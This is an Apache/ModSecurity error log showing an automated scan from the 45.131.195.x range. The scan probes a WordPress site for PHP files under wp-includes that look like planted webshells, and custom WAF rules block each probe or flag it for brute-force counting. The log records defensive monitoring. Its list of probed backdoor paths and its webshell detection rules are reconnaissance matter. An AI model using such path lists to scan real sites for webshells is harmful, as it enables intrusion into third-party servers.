[Wed Apr 15 05:10:50.583253 2026] [:error] [pid 45504:tid 45519] [client 45.131.195.144:46037] [client 45.131.195.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "ad6tWq3iO9_fE_IQEMkXhQAAAQ0"]
[Wed Apr 15 05:10:51.713035 2026] [:error] [pid 45504:tid 45514] [client 45.131.195.204:36563] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "ad6tW63iO9_fE_IQEMkXiwAAAQg"]
[Wed Apr 15 05:10:55.270310 2026] [:error] [pid 4066:tid 4121] [client 45.131.195.155:50057] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "ad6tX4C2YXfSPsC9O_BcxAAAAFE"]
[Wed Apr 15 05:10:56.239764 2026] [:error] [pid 4066:tid 4114] [client 45.131.195.175:43395] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ms-file.php"] [unique_id "ad6tYIC2YXfSPsC9O_BcxQAAAEo"]
[Wed Apr 15 05:10:57.269704 2026] [:error] [pid 4065:tid 4077] [client 45.131.195.140:41815] [client 45.131.195.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.140, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "ad6tYQWArgJTHu2_6Oy8igAAAAE"]
[Wed Apr 15 05:10:57.274107 2026] [proxy_fcgi:error] [pid 4065:tid 4077] [client 45.131.195.140:41815] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 05:10:57.493846 2026] [:error] [pid 4065:tid 4079] [client 45.131.195.140:41815] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/av.php"] [unique_id "ad6tYQWArgJTHu2_6Oy8iwAAAAM"]
[Wed Apr 15 05:11:02.093554 2026] [:error] [pid 4067:tid 4146] [client 45.131.195.134:54115] [client 45.131.195.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "ad6tZu5XHBJU8ZrRxZ0pggAAAI8"]
[Wed Apr 15 05:11:03.947246 2026] [:error] [pid 45504:tid 45517] [client 45.131.195.135:51433] [client 45.131.195.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/network.php"] [unique_id "ad6tZ63iO9_fE_IQEMkXwAAAAQs"]
[Wed Apr 15 05:11:13.977579 2026] [:error] [pid 4066:tid 4118] [client 45.131.195.165:38219] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "ad6tcYC2YXfSPsC9O_Bc4AAAAE4"]
[Wed Apr 15 05:11:15.461844 2026] [:error] [pid 4169:tid 4180] [client 45.131.195.186:48079] [client 45.131.195.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/item.php"] [unique_id "ad6tcx15U5D-N99n_jJrMAAAAMg"]
[Wed Apr 15 05:11:18.828879 2026] [:error] [pid 4169:tid 4172] [client 45.131.195.165:44701] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "ad6tdh15U5D-N99n_jJrQQAAAMA"]
[Wed Apr 15 05:11:20.369105 2026] [:error] [pid 4067:tid 4140] [client 45.131.195.141:34351] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/install.php"] [unique_id "ad6teO5XHBJU8ZrRxZ0plwAAAIk"]
[Wed Apr 15 05:11:22.627222 2026] [proxy_fcgi:error] [pid 4169:tid 4196] [client 45.131.195.120:38317] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 05:11:22.838453 2026] [:error] [pid 4169:tid 4181] [client 45.131.195.120:38317] [client 45.131.195.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.120, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/wp-login.php"] [unique_id "ad6teh15U5D-N99n_jJrUwAAAMk"]
[Wed Apr 15 05:11:25.458073 2026] [:error] [pid 4169:tid 4172] [client 45.131.195.120:38317] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "ad6tfR15U5D-N99n_jJrZQAAAMA"]
[Wed Apr 15 05:11:30.872810 2026] [:error] [pid 4066:tid 4105] [client 45.131.195.159:64215] [client 45.131.195.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "ad6tgoC2YXfSPsC9O_Bc8gAAAEE"]
[Wed Apr 15 05:11:33.046826 2026] [:error] [pid 4066:tid 4125] [client 45.131.195.180:31755] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/1.php"] [unique_id "ad6thYC2YXfSPsC9O_Bc-QAAAFU"]
[Wed Apr 15 05:11:34.209753 2026] [:error] [pid 4066:tid 4127] [client 45.131.195.144:28751] [client 45.131.195.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "ad6thoC2YXfSPsC9O_Bc-wAAAFc"]
[Wed Apr 15 05:11:39.061132 2026] [:error] [pid 45504:tid 45530] [client 45.131.195.171:43759] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "ad6ti63iO9_fE_IQEMkYWAAAARg"]
[Wed Apr 15 05:11:42.847654 2026] [:error] [pid 45504:tid 45526] [client 45.131.195.185:57621] [client 45.131.195.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/about.php"] [unique_id "ad6tjq3iO9_fE_IQEMkYbAAAARQ"]
[Wed Apr 15 05:11:49.152709 2026] [:error] [pid 4169:tid 4181] [client 45.131.195.180:32799] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "ad6tlR15U5D-N99n_jJrkQAAAMk"]
[Wed Apr 15 05:11:50.374163 2026] [:error] [pid 4067:tid 4152] [client 45.131.195.141:23747] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/bypass.php"] [unique_id "ad6tlu5XHBJU8ZrRxZ0puQAAAJU"]
[Wed Apr 15 05:11:53.341744 2026] [:error] [pid 45504:tid 45514] [client 45.131.195.139:41531] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/count.php"] [unique_id "ad6tma3iO9_fE_IQEMkYhgAAAQg"]
[Wed Apr 15 05:12:01.632850 2026] [:error] [pid 45504:tid 45529] [client 45.131.195.174:29399] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "ad6toa3iO9_fE_IQEMkYsAAAARc"]
[Wed Apr 15 05:12:04.959843 2026] [:error] [pid 4169:tid 4175] [client 45.131.195.185:23877] [client 45.131.195.185] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "rcacivilgroup.com"] [uri "/images/stories/themes.php"] [unique_id "ad6tpB15U5D-N99n_jJrrQAAAMM"]
[Wed Apr 15 05:12:05.226133 2026] [:error] [pid 4169:tid 4186] [client 45.131.195.185:23877] [client 45.131.195.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "ad6tpR15U5D-N99n_jJrrwAAAM0"]
[Wed Apr 15 05:12:09.020854 2026] [:error] [pid 45504:tid 45530] [client 45.131.195.149:30069] [client 45.131.195.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "ad6tqa3iO9_fE_IQEMkYzgAAARg"]
[Wed Apr 15 05:12:10.285512 2026] [:error] [pid 4066:tid 4118] [client 45.131.195.129:42777] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/vars-soap.php"] [unique_id "ad6tqoC2YXfSPsC9O_BdNAAAAE4"]
[Wed Apr 15 05:12:15.846572 2026] [:error] [pid 4169:tid 4179] [client 85.215.188.44:59204] [client 85.215.188.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.215.188.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6trx15U5D-N99n_jJr2gAAAMc"]
[Wed Apr 15 05:12:18.214995 2026] [:error] [pid 4067:tid 4153] [client 45.131.195.140:59421] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "ad6tsu5XHBJU8ZrRxZ0p5AAAAJY"]
[Wed Apr 15 05:12:22.238173 2026] [:error] [pid 45504:tid 45518] [client 45.131.195.171:45971] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "ad6ttq3iO9_fE_IQEMkY-gAAAQw"]
[Wed Apr 15 05:12:24.765701 2026] [:error] [pid 45504:tid 45528] [client 45.131.195.145:39123] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "ad6tuK3iO9_fE_IQEMkZAQAAARY"]
[Wed Apr 15 05:12:32.009153 2026] [:error] [pid 4169:tid 4196] [client 45.131.195.141:60681] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "ad6twB15U5D-N99n_jJsBgAAANU"]
[Wed Apr 15 05:12:33.580151 2026] [:error] [pid 45504:tid 45523] [client 45.131.195.136:57463] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/colour.php"] [unique_id "ad6twa3iO9_fE_IQEMkZDQAAARE"]
[Wed Apr 15 05:12:36.208658 2026] [:error] [pid 4067:tid 4133] [client 45.131.195.124:36463] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "ad6txO5XHBJU8ZrRxZ0qBwAAAII"]
[Wed Apr 15 05:12:37.280712 2026] [:error] [pid 4066:tid 4113] [client 45.131.195.169:59055] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/include.php"] [unique_id "ad6txYC2YXfSPsC9O_BdTQAAAEk"]
[Wed Apr 15 05:12:40.992024 2026] [:error] [pid 45504:tid 45522] [client 45.131.195.204:33237] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "ad6tyK3iO9_fE_IQEMkZFAAAARA"]
[Wed Apr 15 05:12:44.742959 2026] [:error] [pid 4067:tid 4151] [client 45.131.195.204:53815] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "ad6tzO5XHBJU8ZrRxZ0qFQAAAJQ"]
[Wed Apr 15 05:12:45.812290 2026] [:error] [pid 4067:tid 4154] [client 45.131.195.146:44779] [client 45.131.195.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/about5.php"] [unique_id "ad6tze5XHBJU8ZrRxZ0qFgAAAJc"]
[Wed Apr 15 05:12:52.048857 2026] [:error] [pid 45504:tid 45517] [client 45.131.195.125:59559] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/db.php"] [unique_id "ad6t1K3iO9_fE_IQEMkZPgAAAQs"]
[Wed Apr 15 05:12:55.840171 2026] [:error] [pid 45504:tid 45515] [client 45.131.195.135:65407] [client 45.131.195.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "ad6t163iO9_fE_IQEMkZSQAAAQk"]
[Wed Apr 15 05:13:01.711434 2026] [:error] [pid 4065:tid 4078] [client 45.131.195.191:54395] [client 45.131.195.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "ad6t3QWArgJTHu2_6Oy87wAAAAI"]
[Wed Apr 15 05:13:04.141087 2026] [:error] [pid 4065:tid 4099] [client 45.131.195.146:62899] [client 45.131.195.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "ad6t4AWArgJTHu2_6Oy88QAAABc"]
[Wed Apr 15 05:13:05.152200 2026] [:error] [pid 4065:tid 4100] [client 45.131.195.126:55629] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "ad6t4QWArgJTHu2_6Oy88wAAABg"]
[Wed Apr 15 05:13:10.075640 2026] [:error] [pid 4169:tid 4175] [client 45.131.195.145:21553] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "ad6t5h15U5D-N99n_jJseQAAAMM"]
[Wed Apr 15 05:13:13.645717 2026] [:error] [pid 4065:tid 4085] [client 45.131.195.115:64817] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "ad6t6QWArgJTHu2_6Oy9AAAAAAk"]
[Wed Apr 15 05:13:14.645482 2026] [:error] [pid 45504:tid 45515] [client 45.131.195.139:53457] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/about.php"] [unique_id "ad6t6q3iO9_fE_IQEMkZYgAAAQk"]
[Wed Apr 15 05:13:17.367552 2026] [:error] [pid 4066:tid 4112] [client 45.131.195.160:26899] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/about.php"] [unique_id "ad6t7YC2YXfSPsC9O_BdhQAAAEg"]
[Wed Apr 15 05:13:18.437297 2026] [:error] [pid 4067:tid 4131] [client 45.131.195.175:25431] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/simi.php"] [unique_id "ad6t7u5XHBJU8ZrRxZ0qOwAAAIA"]
[Wed Apr 15 05:13:22.566606 2026] [:error] [pid 45504:tid 45524] [client 45.131.195.181:37125] [client 45.131.195.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "ad6t8q3iO9_fE_IQEMkZcgAAARI"]
[Wed Apr 15 05:13:24.726461 2026] [:error] [pid 45504:tid 45522] [client 45.131.195.144:21045] [client 45.131.195.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "ad6t9K3iO9_fE_IQEMkZfAAAARA"]
[Wed Apr 15 05:13:25.758333 2026] [:error] [pid 45504:tid 45509] [client 45.131.195.204:21669] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "ad6t9a3iO9_fE_IQEMkZggAAAQM"]
